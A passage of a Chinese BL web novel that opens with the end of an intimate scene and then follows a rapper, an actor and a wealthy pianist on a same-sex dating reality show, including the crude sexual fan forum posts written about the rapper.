呼吸也带着细微的颤声,郗烬忱用鲨鱼齿咬住下唇,闭着眼睛,妄图止住即将蹦出的眼泪与泣音。 他现在就宛如—— 迟聿驷猜到他的想法,伸出手掐着身下人的下颌,强硬地将手指抵入他的齿间。 郗烬忱的声音一向又低又黏,似是介于痛感和快意之间,夹杂着热情的腔调,宛如是在进行邀请,从不像小电影里的其他人那样尖细高昂得能掀翻房顶,却比任何催——Y都更管用致命,哪怕只是哑着嗓子在耳畔喘上一声,就足以调动身旁人所有的兴致。 意思是迟聿驷喜欢听。 郗烬忱侧脸贴着桌面,眼睫低垂,眸中雾气蒙蒙。他乖顺地启唇,任凭迟聿驷的指节在口腔里肆意搅弄,舌尖偶尔无意识地缠上去,又很快被抵着上颚按回原处。 湿漉漉的喘顺着嘴角蜿蜒而下,在桌面溅开透明的水痕。反抗无果后他整个人都软得不像话,桀骜眉眼也乖顺得像是被玩坏的精致玩偶。 迟聿驷垂下眼帘看他,喉结滚动,缓缓倾身靠近,凑上去和他脸对着脸,被已经没有力气的人虚虚环住脖颈,抬起头覆上唇瓣。 这个吻单纯印在唇瓣,连舌齿都未曾撬开,郗烬忱紫色的眸瞳闪动,退了点距离,抬起手捂着迟聿驷的嘴巴不让他说话。 是真的一点力气也没有,指节还在因为余韵发颤,迟聿驷眉头稍皱,配合的没有开口。 “……” “你不是……最喜欢接吻?” 哪怕气息不稳,郗烬忱还是要勾起唇笑,带着点分不太清的肆意和得意,又摸了摸还在痉挛的腹部,把自己埋进他的怀里。 团子凑过来,快速瞅了眼迟聿驷,才小心翼翼地用小触手去勾郗烬忱盖住小腹的手指。 内心最柔软的地方似乎被戳动,迟聿驷保持着那个姿势好一会儿,莫名想到刚刚郗烬忱没问出来的,那句他想要知道的问题。 事实上,哪怕明知对方不管什么时候都可以认真地听他讲话,有些话迟聿驷到现在也还是没能说出口来。 比如他曾经想过毕业后要不要把自己家空置的书房收拾出来当双人游戏屋,想过要不要把宠物店里对方最喜欢的那只小鳄鱼领养回家,或者哪怕末日降临后,也在想两个人的话到底要怎么样才能活下来,他将会有足够多的时间去研究挚友的喜好,将来再一直生活在一起。 没有人会嫌幸福太多的。 不过无论是过去还是现在,这些计划对于迟聿驷而言依旧过于难以说出口,尽管他知道这些或许才是此刻郗烬忱想听的答案。 于是他平息了情绪,神色平静地低下头,用行动以吻封缄。 END 第123章 “小狗老师, 最后一个问题。” “——遇到喜欢的人,你会怎么做呢?” 由洋柿子台自制的首档大型同性恋爱真人秀《恋爱告急》节目组的采访间里,青年蓝澜正在录制单人备采。 节目目前一共七位嘉宾, 他是第三位来录制后采的。在他前面的两位,一个是在网上讨论度就没下来过的富二代音乐家,另一个则是个自带流量的rapper, 这两人因在前三期节目中同时和他炒上cp而话题量飙升。 类似#顶级修罗场#和#三角等腰关系#的词条从节目开播后就没从热搜榜上下去过,微博广场里充斥着CP混战和看戏的路人,蓝澜有时睡觉前会拿小号冲浪, 但经纪人赵凝让他少看一点。 看的又不是黑料, 他为什么要少看?蓝澜对此不以为意,更何况处于修罗场中心位的是他,不研究一下粉丝喜欢看什么接下来还怎么行动。 就像一号富二代沈策熙, cp粉眼里的爹系dom感性冷淡长发男友,一个会弹钢琴的有钱人士,部分同人文里还有个二设是那个很会装柔弱的绿茶心机阴湿男,但蓝澜和他相处了三周, 只觉得对方和后面这个词毫不沾边, 沈策熙其人貌似是真优雅且真绅士,往那一站就高级完美的和所有人都不在一个层次, 两人目前的出圈片段全靠蓝澜把自己伪装成一个做事糊涂的笨蛋。 哥狗文学重磅出击,随便一剪就满满不可言说的DS训诫味, 这群闻着味就来了的cp粉就喜欢看。 再比如二号rapperJmkeado,本名即墨颐玦,AKA寂寞哥一绝哥和JimoK豆,蓝澜决定双线麦麸前特意在网上百度过这个人——少数民族外加三国血脉,圈内人喊他Jimo, 粉丝叫他一绝哥。本以为都是rapper了,那肯定是个狂拽酷炫屌炸天的桀骜拽逼,那种什么舌钉眉钉耳钉古巴链戒指叠戴一大堆的纹身男,没想到见了面发现对方居然是走新中式路线的melody玩家,水墨竹纹鹤飞白扇风度翩翩,三言两语间躺沙发上支着脑袋懒懒一笑,不知道的人会以为他是个唱民谣的高级文青,怪不得粉丝戏称他为哈圈另类的爱情骗子。 哈圈另类,这个词需要双关。 都说最怕rapper唱情歌,但Jmkeado有个代称叫只写情歌的寂寞一绝哥,他是混血浓颜,眼窝深鼻梁挺,眉骨锋利优渥,上挑眼看人时莫名会给对方一种蔫坏蔫坏的浪漫感觉,蓝澜每次站他面前都会有一种难以表述的美好错觉。 可长相风流倜傥的家伙是公认的纯写歌不谈情,不像一般的rapper一样赌/博/嫖/娼/睡/粉样样都沾,勾搭他的话他只会纯调戏,主动但拒绝,谈不到负不负责,独留被调戏者痛苦地因此ptsd,怎么也猜不透他心底究竟是怎么想的。 此人社交处世的手段非常高端,蓝澜觉得这种人就属于那种编导最喜欢的嘉宾,来个人随便跟他说一句话,在一个框里出出镜,甚至不需要FollowPD抓耳挠腮地想什么引导方式和故事线,后期加个粉红滤镜就能直接麦上西皮。 太能减少工作量了,前几天第三期节目更新后,他都能听到自家FollowPD感慨Jmkeado好省心一男的,和一般的rapper就是不一样…… ——可话又说回来了,一般的rapper也不会上同性恋综。 谈恋爱是人之常情,时间充裕的rapper都可以同时谈八个粉丝——但那必然谈的是女粉而不是男粉。他们不像摇滚一样睡个男的也能轻描淡写搞到人尽皆知,毕竟在哈圈混人设红线比做偶像都严,干个什么都要思考一下黑不黑怕swag不swag,和男的在一起别人谁管你在上还是在下,battle或diss时起手一句“你被男的睡跪在床上飞”就可以喜提社会性死亡。 这种精彩场面那固然是单押也算押,当事人尴尬程度不必多想——Jmkeado上同性恋综是处于何种心态蓝澜尚且不知,这不妨碍他贴上去给自己涨涨流量。 此刻面对朝他示意的摄像与导演,蓝澜的视线扫过墙上的那道问题,对着镜头熟练地扬起标志性的阳光笑容,露出浅浅的梨窝和一颗小巧虎牙。 身为童星出道的实力派演员,蓝澜的长相完全不是漂亮那款的,但胜在气质干净明朗,还带着现如今娱乐圈稀缺的澄澈少年感,照粉丝的话来讲就是变成人的活泼小狗,脸偏向可爱幼态。 之前节目组公布他是嘉宾时,从小就看着他长大的养成系粉丝纷纷在评论区哭天喊地哀嚎:“宝宝你怎么突然就长大可以谈恋爱了?!妈妈不许!”“我还没准备好啊啊啊啊”“不对宝宝你上的这是个什么综?!?!?!” 想到这里,蓝澜弯起眸子回答:“我喜欢的人,当然是了解他的喜好,送花,约会,然后时机成熟就立刻表白啊!” PD在镜头外笑:“小狗和沈老师都是行动派的呢。” “诶,真的嘛?”蓝澜眼睛一亮,接话道,“就是不知道策熙哥喜欢什么样的人呢。” 后期cp粉肯定要在弹幕刷屏“当然是你这样的小狗啦~”,PD继续笑:“诶?那小狗就不想知道Jmkeado喜欢什么样的吗?” 蓝澜佯装思考了一会儿:“当然也想啊,但是一绝哥喜欢的类型,猜不到,真的好难猜啊!” 论坛里倒是有很多小道消息,说Jmkeado喜欢可爱的,喜欢比他矮还脑子笨的,喜欢双马尾啊喜欢不管他事的,还有人说寂寞K豆喜欢能聊到一起的音乐心灵伴侣,但大前提都是Jmkeado喜欢女的。 “确实很难猜。”导演组里有人点点头,“遇到喜欢的人做法却是等到不喜欢了就好,Jmkeado真难搞啊。” 因为不一定有好结果,所以什么都不做等到不喜欢了就好——即墨颐玦的原话是这样说的。 说这话时,蓝澜就在采访间门口等待下一个进场。他来的早,沈策熙的采访也听了全程,默不作声地蹲在那里背着来探班的经纪人翻节目论坛,刷到有人说Jmkeado常服特别好看的热帖。 Jmkeado惯常一身白,爱穿堆领新中式衬衣和阔腿西裤,零零散散的叠戴装饰品一大堆,右耳坠一个长流苏的黑绳铜钱串。他留着高层次的灰色鲻鱼头,平日里会把发尾绑起来留到肩膀一边,今天倒是全披散了下来,碎发遮住眼睛时看起来有点懒洋洋的。 哪怕面对镜头,他坐在沙发上也要跟没骨头一样斜倚着撑住脑袋。茶几和沙发的距离有点小,蓝澜从侧面看去,那双一米八八的逆天长腿委委屈屈地曲着,膝盖已经抵到桌沿。Jmkeado却浑不在意,只倦怠地抬眼,眉尾稍稍上挑,勾唇对门口一直看他的蓝澜哼笑了一声。 “嗯?这么喜欢看我,怎么不进来坐在旁边。” 如果蓝澜是个刚入娱乐圈的新人,或许他会在Jmkeado的言语间丧失本心。可惜他童星出道,已经是条尝遍人情百态的老狗,心肠不再纯洁,遇到这种什么都不干就像在调情的哈圈狐狸男,也只会想着能不能不谈感情的睡上一觉。 半个节目论坛的人都在蛐蛐Jmkeado像是单纯来节目里约炮的,女粉勾搭不上的原因就因为他真实面目是个给子。说话时语气内含三分懒和七分情,和蓝澜沈策熙待在一起时显得尤其茶里茶气,粉丝一致认为对后者二设的‘很会装柔弱的绿茶心机阴湿男’应该给他才对,但一看性格对不上绿茶也没有心机更不会阴湿,再一看那张浓颜脸,好吧这家伙装柔弱也没法装啊。 Jmkeado是个毋庸置疑的懒蛋,这在圈内是公认的,一个音乐人连采音都懒得采,那的确懒得够可以了。出专辑不宣发,出活动也懒得发微博,公司也跟着他一起佛系,上恋综还是兄弟们直播时不怀好意地嘎嘎笑着转发官方公告粉丝们才知道的。 哈圈震惊,女粉对着“同性”二字瞪圆了眼睛,Jmkeado本人在第二天悠哉悠哉地回复:“上个节目而已。” 好轻飘飘一句话,上个节目而已,爱情骗子上节目去谈恋爱就是如此简单随意。粉丝说好吧好吧那你记得多写几首歌,Jmkeado说我懒啊,谈到的话给对象写一首,那一首也就可以了。粉丝又说不要只给对象写啊,你可以给每位嘉宾都写一首以此纪念,Jmkeado如是道:不了吧我好渣啊。 真正的渣男是不会说自己是渣男的,论坛众人评价他这句话还是道行太浅,但Jmkeado爱情骗子声名在外,他们也不相信这人真的是什么纯爱战神——转眼间就被打脸了,因为Jmkeado其人在节目上对待爱情又争又抢。 前几天第三期节目播出,直播时有粉丝问K豆K豆你是不是喜欢蓝澜小狗哇?Jmkeado懒洋洋笑着说小狗多可爱的我喜欢啊,粉丝问那你要给他写歌吗?Jmkeado说写歌也行,不能被人给比下去。粉丝问那个人是谁,Jmkeado表情严肃起来,回了沈策熙三个字,然后就光速下播了。 大型等腰三角恋就如此火爆全网。 蓝澜一时拿不准他说的“什么都不做等到不喜欢了就好”是个什么意思,回别墅的路上还在翻节目论坛。 采访结束还不到半小时,已经有内鬼把今天三个人的答案提前曝光出去,现在首页一片飘红,粉丝们讨论的正处于激烈状态,却没吵出个所以然来,倒是都在说Jmkeado的回复不太像他的性格,果然这个男人又在胡言乱语了你们竟然还真信。 信不信都是有用信息,蓝澜退出论坛账号,把手机塞回兜里才下车,别墅区二十四小时摄像头全方位覆盖,晚上睡觉都没有隐私。 他推开门,客厅只有两个人在。 三角恋中的另外两个主角在沙发上面对面坐着,沈策熙正在看电视,Jmkeado在打游戏,突然没头没脑地抬起头,懒散地拋出一句:“问我啊?那你是怎么答的?” 第124章 沈策熙其人年二十五, 长发及腰,日常穿白色西服戴黑手套,喜好喝茶弹钢琴和处理工作事宜, 性格有些难以概括。 这是句褒义词,意思是对谁都一致的疏离和礼貌。粉丝说他往那一站就有种黑白两道通吃教父专属的顶级Dom感,二期花絮里沈策熙把玩着茶杯柄垂眸看镜头, 此俯视视角不过三天就在微博有了百万转发。 Jmkeado彼时在别墅小花园直播时看粉丝评论,“wow”了半天说诶呦他装装的,正主恰好从他背后走过去, 微微笑插话道:那装到你了吗? 和他漂染过的渐变灰不同, 沈策熙头发颜色天生就浅,偏向于金色,瞳孔也属于那种琥珀黄, 五官倒是英俊的可以,冷不丁望过去时比屏幕里的主播还像外国人,出镜时粉丝“啊啊啊”地一片刷屏,真正的混血黑怕男从直播间背景里看到他, 随口嗯了一声, 再很有范儿地侧过身,拖腔带调地回了一句还好。 两个人一看型号就一样, 不怎么算是真给佬的泛性恋男Jmkeado在节目里通常懒得和这种不用想就没可能的人接触。如果是非恋综的话麦麦还行,但在恋综, 两个同型号的不管干什么,后续都会被显微镜观众和磕学家博主放大互比,一想到这个他就感觉特别麻烦。 ——果不其然。 第一期的大致内容是七位嘉宾陆续在别墅集合初见,他跟沈策熙在有蓝澜在场的情况下说了据论坛计数君记载的一共五十三句话,有人把这些音频单独截出来剪成了鬼畜视频, 在xilixili视频网站上两天便直逼50w播放量。 视频点进去便是Jmkeado拖着长调点头说的“随便啊”、“ok啊”和“照你说的办”,在循环处理下魔性又上头,中间穿插着他靠在沙发上含笑逗人的一句“这么重要真交给我啊?”,语气带着三分玩笑四分懒散,背景音里紧跟着混杂入沈策熙从容淡定的“坐下等着”“没事,我在”跟“手里拿着什么?给我。” 剪辑师本意是为了突出两位热门人气一号的不同性格,万万没想到,这期视频下面还有少数乐子人因此磕上邪教。 Jmkeado对论坛人这都能剪表示大为不解,第二期在介绍环节都没去接对方的茬,不知为何沈策熙也没接他的话,两人除了当晚同时把匿名短信发给蓝澜外基本零互动——论坛有人猜这可能是两位一の惺惺相惜です。 爹1是1美1也是1,sugar daddy外加长发美人那在现如今美强当道的市场那更是1中之1主人中的主人,节目播出后沈策熙圈内谈论度超绝大爆发,论坛首页甚至有个精华爆贴是沈策熙梦男yy自己被主人拍着脸喊小狗。 Jmkeado倒是平平,论坛众人嫌他情歌大王爱情骗子谁喜欢上谁就一败涂地,此男兴致来了这撩撩那撩撩,没兴致时说话直到气人的够可以,再搭配上那身新中式,看起来超脱世俗压根不适合谈感情,更何况那么懒的性格上床后肯定还得自己动。论坛关于他的热帖题目是《我发现我男友K哥……》,点进去第一句话是:我发现我男友K哥其实只拿我当会自己动的炮友,小三小四小五小六的存在一点都不背着我,但我爱他,我要继续当他没有名分的小1008611。 帖子是好兄弟在群里幸灾乐祸推荐给他的,Jmkeado看完后想打报警电话,因为此楼在谈论K哥喜欢出轨还懒得动你就不能趁机撅他吗?把他做的离不开自己这不就上位成功了。 楼主在楼中楼叹气回复他想是想,但K哥绝对不会当0的,他不想惹K哥生气。路人说唉那这没办法了。没想到有人紧接着艾特楼主,说楼楼你好啊我是原配,K哥虽然不当0但其实已经被我搞成魅魔小K了,每次去小三小四小五小六们那里前都要换奶窗旗袍让我好好爽一爽以征求我的同意。 楼主问真的吗那我也能玩你对象吗?原配大度道可以的都搞都搞。 有人感慨说楼主你男友K哥好花心啊谈这么多,楼中楼小四登场解释道大家都是炮友没有名分的,楼主回复没关系我还是爱他。 二十层楼后小三横空出世,说大家都在啊哈哈你们好你们好我是楼主嘴里的那个小三,K哥我也搞啊你们竟然不搞吗?每次K哥被做的受不了都会哭着变成灰毛狐狸不让我碰,然后渐渐地他就不愿意来我这里了,找那么些小四小五小108611我也知道,看到楼主这些人的存在我很苦恼啊。 楼主舒心道看到你们都为此苦恼那他就放心了,路人青蛙留言大喊恶俗啊!你们JK梦男这么离谱吗都想自己上位当主人,被成功同化的楼主镇定道:K哥简称都叫JK了,那穿穿JK也没什么吧。 好离谱一帖子,把男友K哥出轨的时间线以及每一任的人设背景和日常对话都编造的事无巨细,要不是他就是里面的K哥,Jmkeado看完都要真的信存在这么个举世瞩目的大渣男了。 兄弟们施施然在群内发问:【K豆你这能忍啊?内什么daddy用不用哥们帮你track一下?(墨镜.JPG)】 Jmkeado选择一键屏蔽节目论坛,打字都懒得打,发语音道:【管这干什么啊。】 他是真懒,第三期节目组准备了三对代表不同约会地点的卡牌,规则是先做完游戏的人可以率先选择,最后选了同一张卡牌的两位嘉宾将自动组成初次约会的cp搭档。 嘉宾人数是奇数的七个人,最后一个完成游戏的人势必本轮会被轮空。Jmkeado给FollowPD诚挚建议道直接轮空他就行,奈何各类粉丝在官方留言板上刷屏太多,PD直接暗箱操作让他第一个做完,哄着人说选吧选吧随便选一张喜欢的就行。 Jmkeado挑了张枪与玫瑰,节目组说挑真准啊这刚好对应的是酒吧,他立刻又给人放下了,转而拿了旁边的那张揣进兜里。 PD不解,问他为什么要换,Jmkeado是livehouse走出来的地下rapper,去酒吧不应该跟回家一样如鱼得水。 初次约会就要被迫营业,一想到这个懒蛋小伙就头皮发麻,给“对象”上台唱歌或者在舞池里蹦迪都不在考虑范围之内。早已从地下走到人前的Jmkeado靠在选卡沙发上,慢吞吞回她说不啊。 蓝澜是第二个完成任务的,他好像早知道每张卡牌都对应的是什么地点,没有犹豫就直接选了里面格格不入的太阳牌——对应的是咖啡店。他刚一抬头弯眸喊“就这个啦!”,PD就喜笑颜开道恭喜啊,J蓝两人配对成功! Jmkeado还是那副懒洋洋的表情,蓝澜倒是明显愣了一下,显然没料到身边这人会选这副牌。但很快反应过来,扬起笑说哇塞是和一绝哥一起诶,哥你知道这副牌在塔罗里是什么意思嘛,代表爱情的话,它是积极、幸福、充满希望哦,说不定我们会很合拍呢。 即墨颐玦点点头,勾起嘴角顺手揉了揉他的头发。“那很好了,”他对着镜头摆摆手,又笑眯眯地往门口走,“期待初次约会啊,蓝澜小朋友。” 走出去两步又想起什么,Jmkeado侧过身,反手将那张卡牌精准地甩回桌面,那双偏蓝的眸瞳含着笑,眼尾自然向上勾着,耳侧的黑绳铜钱串随着动作一甩一甩地扫在肩膀。 蓝澜盯着他的背影发愣,心想他脸上有好多痣诶,鼻尖有脸颊有下巴有眼尾还有一颗泪痣,锁骨上好像还有一颗,但是一恍神就看不到了。 到底什么样的人能长成这样啊,都长成这样了怎么真的只撩不负责呢。蓝澜没忍住在心底哀嚎,没注意自己在盯着门口发愣,直到PD叫他名字才反应过来人已经离开,和推门而进的沈策熙对上视线。 长发daddy绅士地跟在场的所有人都问了一声好,看了眼桌面上的三种牌,拿起最左侧画着一片星空的那张,问PD这是星空馆吗? 蓝澜说我知道是海洋馆喔,沈策熙遗憾道:“我以为是动物园。” PD拍胸脯打包票说那没问题下次绝对安排,蓝澜眨眨眼睛:“策熙哥很喜欢小动物吗?” 沈策熙举起卡牌随手弹了弹,笑道:“可能?” 可能意思就是喜欢喽?虽然但是,他看起来完全是咖啡店常客。专门做了一番攻略的蓝澜有点小失落:“策熙哥,我本来还想听你弹钢琴呢。” 沈策熙把卡牌放回原处,出门时也随手揉了揉小狗的头发:“这样啊,会有机会的。” Jmkeado和蓝澜的初次约会总体来说聊的非常愉快,但他到最后只记得咖啡店的咖啡和很吵的FollowPD。 前者苦到让他喝不下去,但是rapper的狂傲人设让他不能说自己吃不了苦。 Jmkeado拿起咖啡杯尝了一口,状似镇定地咽下去,在蓝澜问咖啡好喝吗的注视下,轻描淡写地哼声评价道“这家店氛围不错音乐也不错。”,然后在蓝澜“看来哥也很喜欢喝咖啡呢,我想着早上给你们磨点但是还怕你们不喜欢”的雀跃里一边随意点头一边再给自己点了一块蛋糕。 后者在耳麦里嚷嚷让他多卡一下站位借一下镜头错位,主动一点引话题开启一下故事线,动作和言语再多输出一点不要一副对面是谁都可以的养胃模样,酷是很酷了,哪怕喝个咖啡也很有swag,如果说rapper的话也非常rapper,但先机都到手了,不主动一点cp粉的支持度肯定会大下降啊! Jmkeado说OK你先别急,等我想一个完美的Punchline震惊四座。 FollowPD叹气,说祖宗别想Punchline了你又不是在写歌,对着镜头除非你现在立刻就表白不然什么话都不会引起惊呼。问他知不知道沈策熙今天和祁泞唯在海洋馆约会的做派简直二十四孝绝佳好男友,随便几句话dom感就拉满了,导演组内部的小女生嗷嗷嗷一通乱叫——咱学不来毕竟这是人家天生优势,但好歹也做些什么展示一下男友力,你看蓝澜都要喂你吃蛋糕了你的主动呢? Jmkeado说啧,那展现男友力的话要我背他吗? 背你个头啊!FollowPD怒斥,你这个懒样蓝澜背你还差不多。然后他仔细思考一番,诶了声说那也行啊,现在不是流行反差。 一米七五背一米八八,Jmkeado委婉开口:你午睡还没醒? 很吵的FollowPD不吵了,妙言道:要不咱学学沈策熙,也骑自行车载人回别墅? 于是Jmkeado就蹬着节目组提供的单车载着蓝澜绕着市内转了一圈,然后再转了一圈。 蓝澜在后座攥着他衣角,问他哥我们去哪啊,不回别墅吗? Jmkeado侧头,声音散在风里,慢悠悠逗人问:“不愿意跟我私奔啊?” “不是,”蓝澜认真地摇摇头,“就是觉得,嗯——这样在风里兜圈,有点浪漫。” 后期再加个滤镜就像是已经谈了,谈的忘了情了发了狠了彻底不在意摄影师的死活了,Jmkeado闭上嘴,死要面子地没说因为他路痴且压根不认路,所以忘了回别墅怎么走,毕竟这一点也不“rapper的超real时刻”。 最后还是在一家记不清名字的超市门口碰到回了趟别墅又和cp开车出来买菜的沈策熙,打完招呼后祁泞唯说一起回吧,沈策熙问“要不要上车?” 蓝澜说“不用啦一绝哥载我回。”于是沈策熙在前面开车,Jmkeado一脸无敌且尽在掌握地在后面蹬着轮子一路跟着他,成功地回到了别墅。 好累,Jmkeado停车时云淡风轻,心里却想下辈子再也不要骑自行车了,简直要了他半条命,蓝澜这么矮一小朋友怎么这么重。 回到客厅,沈策熙给他扔了罐冰可乐,他搭档祁泞唯是个学美术的大学生,副业是美妆博主,星星眼道:“K豆K豆,你体能好好诶!平时在哪锻炼呀?这么长的路连汗都不出!” Jmkeado窝沙发上叼着冰棍吹空调,一边开可乐一边心想沈策熙是不是压根就没骑自行车载人,FollowPD这家伙为了收视率怎么坑我?! 蓝澜回忆着第一天见Jmkeado的场景:“一绝哥平日里好像不泡健身房,但是光是那些设备看起来就很重了!” 都是吃饭的设备,声卡MIDI录音那些自然都是走哪带哪,Jmkeado这趟只带了三个录音笔还算少的,如果是他兄弟上节目,不说六个录音笔常备了,光是衣服配饰都能占两个大行李箱——虽然Jmkeado也不遑多让,他首饰品也占了大半行李,甚至每个都有专门的饰品盒子。 “还好。”Jmkeado咬着冰棒含糊道,“小朋友不怎么重。” 易拉罐一开,可乐的味就冒了出来,蓝澜坐他旁边惊讶极了:“你们还买了可乐?!” 在坐的不是美妆博主就是形象演员,剩下还没回来的三位或多或少也都在管理身材,祁泞唯脱了外套坐过来:“阿策拿的时候就讲说不定有人喜欢喝呢,我想又不差钱,买了备上也好,年年是教练不让他喝,没想到K豆也喜欢呀。” 年年全名桑嘉年,是个滑雪运动员,这种职业对体脂率要求很高,饮食都由后勤团队专门负责。另外两个人一个是机构的舞蹈老师,一个是已经退出限定男团的金融学研究生,身为曾经的选秀C位,他在网上的账号仍有不少粉丝。 Jmkeado几口咬完冰棒,“嗯”了声打开手机游戏:“喜欢啊,这多好喝的。” 沈策熙靠在客厅的浮雕墙边浅笑,手上托着骨瓷杯碟,指节隔着黑手套点了点杯壁。他喝茶不喝可乐,往那一站自带贵族气场,可靠父亲感扑面而来:“你们晚上想吃点什么?” 这在宿舍那里也是爸爸级别的存在,daddy感果然名不虚传。 即墨颐玦对他不太熟,来上综艺前倒是听过几嘴兄弟们关于他的“圈内听闻”,但也不太熟。人家富N代主业还是管理公司,只偶尔来混迹一下娱乐圈,参加的也是那种庆典之类的高级场所,跟他这种从地下跑出来的狐狗鼠牛没有接触的可能。 蓝澜想了一会儿:“我都可以的,一绝哥肯定也会回答随便啦,要不在群里问问他们吧?” 祁泞唯瘪嘴:“还问他们?那群人减肥,恨不得一天三顿都吃沙拉!” Jmkeado头上冒出三个点,从手机里掀起眼皮问:“没肉吗?” “你想要这个啊……”沈策熙放下茶杯:“坐着等吃饭吧。” 蓝澜跳起来跟在他后面:“策熙哥,我来帮你——” 祁泞唯眨着眼睛凑到Jmkeado身边,不经意间问道:“K豆K豆,我下午吃了一个特别好吃的冰淇淋,真的特别好吃呀——你今天玩的怎么样?” 心思不要太好猜。 身为年纪轻轻便从地下走到地上的半个哈圈成功人士,Jmkeado对圈内的潜规则摸得清楚,这种节目被兄弟们坑得上上就行了,真和里面的人谈恋爱那实在够呛。 “嗯?很开心啊。”Jmkeado懒洋洋笑起来,淡蓝眸瞳像蒙着雾的玻璃珠,从祁泞唯脸上掠过去,又转瞬盯住屏幕:“下次要带我一起去吗?那我会更开心的。” 那一眼轻飘飘的,泪痣也被晃的更夺目了几分。明明心思全在游戏上,却还是被这样的人撩到了。 祁泞唯想起蓝澜两周前私下里和他说的话,当时是怎么说来着……嗯…“和Jmkeado谈?那不可能谈上的,感觉他就像是论坛那些人说的来这里约炮来了……但是现在竟然没有行动也真是奇怪…总之他可能现在是看我比较好玩?三角恋是很好看啊,但是我和他肯定不可能走到最后的。” 上节目就为了…,不外乎论坛粉丝都这么猜测。Jmkeado玩摇滚的好兄弟SomeE之前在国外参加了一档换乘恋爱,约一次会睡一个人,约了四次会就把两对前任都睡了个遍,拆完所有观众猜测有概率复合的小情侣后拍拍衣服潇洒离开,粉丝呵呵留言道这人应该是S-B而不应该是S-E。 SomeE品行如何Jmkeado毫不在意,兄弟之间就是他只要不进局子那都是自己的好兄弟,进了局子那也是,毕竟都在地下混了,谁没进过几次少管所或者警察局。 第三期节目没有把祁泞唯和Jmkeado在客厅说的话剪辑进去,可能是要留着当彩蛋,也可能是故意不放出来,毕竟虽然祁泞唯和沈策熙约了次会,节目还是要推他跟桑嘉年这对走一见钟情故事线的纯爱cp,后者身为游戏黑洞在本轮被轮空,外界粉丝如何暂且不提,从内幕来看,沈策熙就相当于当了回两人故事线里助波推澜的发光工具人。 所以在三个人对于“喜欢的人会怎么做”的回答被内鬼曝光后,好兄弟SomeE在当天晚上就发来了看热闹的视频通话。 “沈爹说的是什么,我看看啊——‘用严密的逻辑跟他说明他和自己在一起的必然性以及必要性。’,诶哟,你真能从他手上成功抢狗?” Jmkeado刚从沙发上跟沈策熙聊完天,开了瓶雪碧,打开DAW录入音频,一时不解道:“我抢狗干什么?” “那什么蓝澜啊,你们节目里的不都叫他小狗?” “……” Jmkeado想了想:“啧,我给忘了,我都叫他小朋友来着,站那小小的,就是人有点重。” “嘿你小子!干什么了就他有点重?” “什么都没干。”Jmkeado嫌弃道,“你话真多。” “行吧。”SomeE耸耸肩,“那你回答的是真话假话?” Jmkeado试了几个beat,懒懒道:“谁知道啊。” 第125章 没人知道Jmkeado是怎么想的, 就像磕药鸡粉丝怎么也猜不透节目组内部到底是在推哪对cp。 她们唯唯诺诺试探着选择其中的一对下注,在边缘犹豫徘徊,确认了好久终于下定决心开始真情实感地入股狠磕, 万万没想到现实要在这时给予重磅一击。 《恋爱告急》官方在今晚22:00发布了第四期抢先预告,不过十五秒的快剪却爆点重重,节目组更改了每周五晚上匿名短信的规则, 嘉宾不能再连续两次向同一个人发送心动信号。 Jmkeado此前的三次都是给蓝澜发的。 群里的好homie们日常都在更新文青言论,这堆没谈过恋爱也能有情殇的黑怕人十分难评,一到半夜就emo灵大爆发变身民谣悲情歌手, 每次在他们飙语速freestyle完后, Jmkeado就把里面最好听最有感觉的一句摘抄下来标注上名字分享给蓝澜,因此得到论坛新称号:寂寞诗人(无偿爱兄弟版)。 此称号在半夜横空出世,网速堪比光速的兄弟们纷纷截图发到群里, 说啧啧啧,寂寞诗人我知道你为什么上同性恋综时答应的那么爽快了,你是不是暗恋我们谁所以借机表达自己的性取向?怪不得那么多女粉向你发送暧昧信号你鸟都不鸟,先说好啊都是rapper, 为了面子反正我们肯定是不会被你搞的, 你放弃这想法放弃这心思不要搞暗恋了没结果的!我们做一辈子的兄弟就好了好homie——对了无偿爱我们的寂寞诗人,你知不知道她们都在背地里编排你其实养胃且不行所以才羞愧于和粉丝上床, 当然在我们心底我哥们绝对勇猛无比七进七出balabala…… 敢这么猜命还要不要了。Jmkeado无语,发语音问你们是人? 兄弟们说啊对对对, 你是寂寞诗人我们是文青诗人,当然你还有可能不是诗人。然后有人幸灾乐祸地往群里甩了一个论坛帖子链接。 Jmkeado顺势点进去,界面显示一片404空白,他愣了半天,才反应过来自己上次把论坛里的综艺板块给设置一键屏蔽了, 不由得啧了声,移动鼠标解除设置,在刷新后看到论坛精华热帖上飘红的八个大字:《灰狐狸K哥的一天》。 到底什么样的人才会这么闲,Jmkeado十分费解,这帖子甚至已经有8000+评论和1w+转发的离谱数据,标题下方的概括内容是:宇宙级大渣男K哥约了太多炮,在这一天终于成功把自己搞养胃了,面对小四小五小六小1008611们的盛情邀请,他选择变成灰毛狐狸窝在小三怀里逃避现实。 发帖人就是之前《我发现我男友K哥……》里的小三,原配在二楼说不公平啊我才是原配,他去找你都要经过我的同意,现在竟然还敢窝在你怀里的?小三施施然回他说那谁知道呢^ 原配继续质疑:而且他不是都不愿意去你那里了吗?小三呵呵道:那你别管,我能当小三而不是小四小五肯定自有我的手段。 小四在下方兴致勃勃,问那接下来剧情是不是就是我们找上门去了? 楼主小三冷酷地说oh那不是,接下来的剧情是他被我哄好后变成人形日了又日,被弄得一塌糊涂后掉着眼泪变成灰毛狐狸离家出走去寻求小1008611的安慰。 原配在楼中楼里发了一个问号:?你们什么时候关系这么好的? 小108611羞涩回复他道:因为之前的帖子是我发的呀。 见原配没有回复这句话,小109611又继续补充道:但没关系的原配哥,我不会和小三哥一样把他日了又日,不会把他弄的说不出话只能哭着喊我老公,也绝对不会让他穿上奶窗旗袍在我床上跪着爬来爬去的,而且你都同意我玩你对象了,你人真好【原配在上个帖子的言论截图.JPG】 原配:…… 小四说天杀的狐狸男,一碰就装委屈开始掉眼泪,但其实心里爽得不得了了吧?如果不这样对他肯定还会一边哭一边拿尾巴缠人,根本就是在勾引我,如果不理他就要去找别人,毕竟除了我外还有小五小六小七小八……这种狐狸男简直太可恶了肯定要好好惩罚。 路人已经懒得大喊青蛙恶俗了,有人疑惑道这他喵的不是个恋综论坛吗?怎么其他帖子都在磕cp分析目前现状并且下压赌注,而这个帖子却在意淫嘉宾?!另一个人痛哭流涕道天杀的看完这个帖子满脑子都是寂寞养胃哥在床上掉着眼泪爬来爬去,对了他耳坠和泪痣都好色啊这让我还怎么磕cp…… 小五回他说呵呵哒,如果蓝澜不介意当小1008612的话那他们也不介意共享的,你们可以继续磕。 